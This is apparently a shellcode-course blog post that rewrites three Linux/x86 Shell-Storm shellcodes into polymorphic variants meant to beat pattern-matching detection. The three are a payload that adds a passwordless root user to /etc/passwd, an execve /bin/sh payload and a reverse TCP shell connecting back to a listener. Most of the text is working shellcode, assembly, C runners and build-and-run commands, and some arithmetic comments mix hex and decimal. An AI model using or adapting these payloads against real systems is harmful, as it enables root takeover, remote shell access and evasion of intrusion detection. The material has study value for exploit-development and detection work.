Review Shell-Storm Shellcodes adding Polymorphism

9 minute read

Introduction

The main goal is to take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching, the conditions are:

  • The polymorphic versions cannot be larger 150% of the existing shellcode
  • Try to get it shorter in length than original

Linux/x86 - adds a root user no-passwd to /etc/passwd - 83 bytes by Bob [Dtors[dot]net]

First shellcode is for add uid 0 gid 0 in /etc/passwd, we start from this shellcode of 83 bytes and try to realize a new smaller shellcode.

/* Linux x86 shellcode, to open() write() close() and */
/* exit(), adds a root user no-passwd to /etc/passwd */
/* By bob from dtors.net */

#include <stdio.h>

char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
		"\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
		"\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
		"\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
		"\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
		"\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
		"\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
		"\x31\xc0\xb0\x01\xcd\x80";

int
main()
{
        void (*dsr) ();
        (long) dsr = &shellcode;
        printf("Size: %d bytes.\n", sizeof(shellcode)); 
        dsr();
}

Now we check the Assembly using ndisasm

00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31C9              xor ecx,ecx
00000006  53                push ebx
00000007  6873737764        push dword 0x64777373
0000000C  68632F7061        push dword 0x61702f63
00000011  682F2F6574        push dword 0x74652f2f
00000016  89E3              mov ebx,esp
00000018  66B90104          mov cx,0x401
0000001C  B005              mov al,0x5
0000001E  CD80              int 0x80
00000020  89C3              mov ebx,eax
00000022  31C0              xor eax,eax
00000024  31D2              xor edx,edx
00000026  686E2F7368        push dword 0x68732f6e
0000002B  682F2F6269        push dword 0x69622f2f
00000030  683A3A2F3A        push dword 0x3a2f3a3a
00000035  683A303A30        push dword 0x303a303a
0000003A  68626F623A        push dword 0x3a626f62
0000003F  89E1              mov ecx,esp
00000041  B214              mov dl,0x14
00000043  B004              mov al,0x4
00000045  CD80              int 0x80
00000047  31C0              xor eax,eax
00000049  B006              mov al,0x6
0000004B  CD80              int 0x80
0000004D  31C0              xor eax,eax
0000004F  B001              mov al,0x1
00000051  CD80              int 0x80

Ok we have some chances here, first the close() syscall isn’t necessary as we saw in the msfvenon adduser payload, next we can clean some eax and edx register xoring operations changing it with the mul instruction, another change we can make is to substitute the push <register>, esp with the load effective address instruction lea <register>, [esp], last we can change the push and push dword instructions with mov. In this case we have a good polymorphism but the shellcode length is 107 bytes against the original 86 bytes.

xor ebx, ebx
xor ecx, ecx
mov cx, 0x401
mul ebx                           ; this put 0 in eax and edx
mov [esp-4], ebx                  ; same as push
mov dword [esp-8], 0x64777373     ; same as push
mov dword [esp-12], 0x61702f63    ; same as push
mov dword [esp-16], 0x74652f2f    ; same as push
sub esp, 16
lea ebx, [esp]                    ; same as mov the stack pointer to ebx
mov al, 0x5
int 0x80
xchg ebx, eax                     ; move fd pointer in ebx
mul edx                           ; this put 0 in eax and edx
mov dword [esp-4], 0x68732f6e     ; -------------------------
mov dword [esp-8], 0x69622f3a     ;
mov dword [esp-12], 0x2f3a3a30    ; hs/nib/:/::0:0::resU
mov dword [esp-16], 0x3a303a3a    ;
mov dword [esp-20], 0x72657355    ; -------------------------
sub esp, 20
lea ecx, [esp]                    ; same as mov the stack pointer to ecx
mov dl, 0x14
mov al, 0x4
int 0x80                    ; exit syscall now, the close syscall isn't necessary
sub al, 0x13                ; write() return in eax the number of byte written (14) - 13 = 1
int 0x80
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae32-lab:# ./shellcode 
Shellcode Length:  107

If we leave the push and push dword instructions the length is 74 bytes, less than original.

xor ebx, ebx
xor ecx, ecx
mov cx, 0x401
mul ebx                           ; this put 0 in eax and edx
push ebx                  
push dword 0x64777373     
push dword 0x61702f63    
push dword 0x74652f2f    
lea ebx, [esp]                    ; same as mov the stack pointer to ebx
mov al, 0x5
int 0x80
xchg ebx, eax                     ; move fd pointer in ebx
mul edx                           ; this put 0 in eax and edx
push dword 0x68732f6e             ; -------------------------
push dword 0x69622f3a             ;
push dword 0x2f3a3a30             ; hs/nib/:/::0:0::resU
push dword 0x3a303a3a             ;
push dword 0x72657355             ; -------------------------
lea ecx, [esp]                    ; same as mov the stack pointer to ecx
mov dl, 0x14
mov al, 0x4
int 0x80                    ; exit syscall now, the close syscall isn't necessary
sub al, 0x13                ; write() return in eax the number of byte written (14) - 13 = 1
int 0x80
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae32-lab:# ./shellcode 
Shellcode Length:  74

Let’s test both shellcodes, the biggest shellcode_adduser_big and the smallest shellcode_adduser_small.

Move on to the next shellcode.

Linux/x86 - execve (/bin/sh) - 21 Bytes by kernel_panik

This is a very interesting shellcode, it’s a /bin/sh but very very small, only 21 bytes.

/*
 Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
 Date     : 10 Feb 2011
 Author   : kernel_panik
 Thanks   : cOokie, agix, antrhacks
*/

/*
 xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f   ;; hs//
 push 0x6e69622f   ;; nib/
 mov ebx, esp
 mov al, 11
 int 0x80
*/


#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 printf ("Shellcode length : %d bytes\n", strlen (code));
 int(*f)()=(int(*)())code;
 f();
}

Now we check the Assembly using ndisasm

00000000  31C9              xor ecx,ecx
00000002  F7E1              mul ecx
00000004  51                push ecx
00000005  682F2F7368        push dword 0x68732f2f
0000000A  682F62696E        push dword 0x6e69622f
0000000F  89E3              mov ebx,esp
00000011  B00B              mov al,0xb
00000013  CD80              int 0x80

It’s very minimal, perfect for some polymorphic adjustments. We know that our shellcode can’t exceed the 150% of the orignal one, in this case starting from a shellcode of 21 bytes we must write another one at most of 31 bytes rounded down. Let’s start changing the xoring operations.
We can use cdq that convert Doubleword to Quadword and store the result in EDX (0x0), next we mul edx and store the result in EAX (0x0), last we load the value of EAX in ECX (0x0), then we can change the push hs/nib// operations in mov to some registers and then push the registers in the stack, last we can lea the stack pointer to EBX and call the execve syscall. Here’s the assembly code.

cdq                     ; xor edx
mul edx                 ; xor eax
lea ecx, [eax]          ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx                ; push NULL in stack
push esi                ; push hs/ in stack
push edi                ; push nib// in stack
lea ebx, [esp]          ; load stack pointer to ebx
mov al, 0xb             ; load execve in eax
int 0x80 

We can load the code in our C executer and check the length

root@slae32-lab:# objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode_execve.c -o shellcode_execve
root@slae32-lab:# ./shellcode_execve 
Shellcode Length:  25
# 

25 bytes sounds good!

Linux/x86 - Reverse TCP bind shell - 92 bytes by Russell Willis

Now for the last shellcode we will return back to a reverse shell. This could be a valid candidate for our purposes.

/*
Title   : reversetcpbindshell  (92 bytes)
Date    : 16 May 2013
Author  : Russell Willis <codinguy@gmail.com>
Testd on: Linux/x86 (SMP Debian 3.2.41-2 i686)
*/

#include <stdio.h>

/*
 ipaddr 192.168.1.10 (c0a8010a)
 port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main()
{
    printf("Shellcode Length: %d\n", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

and the assembly code using ndisasm

root@slae32-lab:# echo -ne "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31C9              xor ecx,ecx
00000006  31D2              xor edx,edx
00000008  B066              mov al,0x66
0000000A  B301              mov bl,0x1
0000000C  51                push ecx
0000000D  6A06              push byte +0x6
0000000F  6A01              push byte +0x1
00000011  6A02              push byte +0x2
00000013  89E1              mov ecx,esp
00000015  CD80              int 0x80
00000017  89C6              mov esi,eax
00000019  B066              mov al,0x66
0000001B  31DB              xor ebx,ebx
0000001D  B302              mov bl,0x2
0000001F  68C0A8010A        push dword 0xa01a8c0
00000024  66687A69          push word 0x697a
00000028  6653              push bx
0000002A  FEC3              inc bl
0000002C  89E1              mov ecx,esp
0000002E  6A10              push byte +0x10
00000030  51                push ecx
00000031  56                push esi
00000032  89E1              mov ecx,esp
00000034  CD80              int 0x80
00000036  31C9              xor ecx,ecx
00000038  B103              mov cl,0x3
0000003A  FEC9              dec cl
0000003C  B03F              mov al,0x3f
0000003E  CD80              int 0x80
00000040  75F8              jnz 0x3a
00000042  31C0              xor eax,eax
00000044  52                push edx
00000045  686E2F7368        push dword 0x68732f6e
0000004A  682F2F6269        push dword 0x69622f2f
0000004F  89E3              mov ebx,esp
00000051  52                push edx
00000052  53                push ebx
00000053  89E1              mov ecx,esp
00000055  52                push edx
00000056  89E2              mov edx,esp
00000058  B00B              mov al,0xb
0000005A  CD80              int 0x80

It’s an old shellcode i don’t know why it makes 2 socket syscalls but we can remove one, next we can change the socket syscall from 0x66 to 0x167, next we can work on registers xoring operations using mul, then we will change the IP address in the connect syscall to 127.0.0.1 using the sub trick to avoid the presence of NULL bytes, next we can subtract some bytes also saving the socket pointer directly in EBX and last we can use our previous polymorphed execve shellcode of 25 bytes. Let’s take a look to the complete assembly code

;socket()
xor ecx, ecx        ; xoring ECX
xor ebx, ebx        ; xoring EBX
mul ebx             ; xoring EAX and EDX
inc cl              ; ECX should be 1
inc bl
inc bl              ; EBX should be 2
mov ax, 0x167       ; 
int 0x80            ; call socket()

;connect()          ; move the return value of socket
xchg ebx, eax       ; from EAX to EBX ready for the next syscalls

; push sockaddr structure in the stack
dec cl
push ecx                ; unused char (0)

; move the length (16 bytes) of IP in EDX
mov dl, 0x16

; the ip address 1.0.0.127 could be 4.3.3.130 to avoid NULL bytes
mov ecx, 0x04030382              ; mov ip in ecx
sub ecx, 0x03030303              ; subtract 3.3.3.3 from ip
push ecx                         ; load the real ip in the stack
push word 0x5c11                 ; port 4444
push word 0x02                   ; AF_INET family
lea ecx, [esp]
                                 ; EBX still contain the value of the opened socket
mov ax, 0x16a
int 0x80

; dup2()
    xor ecx, ecx
    mov cl, 0x3

dup2:
    xor eax, eax
                                 ; EBX still contain the value of the opened socket
    mov al, 0x3f
    dec cl
    int 0x80
    jnz dup2

; execve() from the previous polymorphic analysis 25 bytes
cdq                     ; xor edx
mul edx                 ; xor eax
lea ecx, [eax]          ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx                ; push NULL in stack
push esi                ; push hs/ in stack
push edi                ; push nib// in stack
lea ebx, [esp]          ; load stack pointer to ebx
mov al, 0xb             ; load execve in eax
int 0x80 

We can test it and see the length, 91 bytes! 1 byte less then original.


All the shellcodes developed in this post are published on Exploit-Db.